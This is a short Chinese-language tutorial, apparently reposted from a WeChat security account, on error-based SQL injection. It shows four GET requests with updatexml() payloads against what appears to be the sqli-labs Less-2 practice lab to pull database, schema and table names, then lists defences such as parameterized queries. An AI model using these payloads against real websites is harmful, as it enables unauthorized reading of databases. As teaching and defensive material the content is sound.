Sql注入 -- 报错注入攻击
2023-9-6 00:2:43 Author: Web安全工具库(查看原文) 阅读量:28 收藏

往期内容
SQL注入 -- Union联合注入漏洞
SQL注入 -- Boolean注入攻击
一、报错注入的原理
报错注入是一种利用数据库在执行恶意 SQL 语句时生成错误信息的方法。攻击者试图构造恶意 SQL 查询,以便服务器返回包含有关数据库结构或数据的错误信息。攻击者可以利用这些错误信息来进一步攻击目标系统。
二、报错注入的步骤
1、故意构造错误的参数,使网站报错
GET /sqli/Less-2/?id=1' HTTP/1.1

2、利用updatexml()数据库名称
GET /sqli/Less-2/?id=-1+and+(updatexml(1,concat(0x7e,database(),0x7e),0))--+ HTTP/1.1

3、获取所有的数据库名
GET /sqli/Less-2/?id=-1+and+(updatexml(1,concat(0x7e,(select+schema_name+from+information_schema.schemata+limit+4,1),0x7e),1))--+ HTTP/1.1

4、通过数据库名获取表名
GET /sqli/Less-2/?id=-1+and+(updatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema='security'+limit+3,1),0x7e),1))--+ HTTP/1.1

三、防御报错注入的方法
输入验证和过滤:对于所有用户输入,都要进行严格的验证和过滤。确保只允许预期的数据类型和格式进入查询。
最小化错误信息:在生产环境中,不要向用户披露详细的错误信息。错误信息应该被记录并报告给管理员,而不是直接显示给用户。
使用参数化查询:使用参数化的 SQL 查询可以有效防止报错注入攻击。大多数编程语言和框架都支持参数化查询,这样数据库会自动处理输入的转义,不会将其作为代码执行。
审计和监控:定期审计数据库的安全性,监控数据库活动以及异常情况。

关 注 有 礼

欢迎关注公众号:小酒馆文案

获取包邮送书抽奖码


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247511050&idx=2&sn=7bb902200c85f913121eab62d668703a&chksm=ebb54309dcc2ca1fef404028e3a7f9d32b7ae4ad9e86ef30740a68f50498c24dd8b795a1cdfc&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh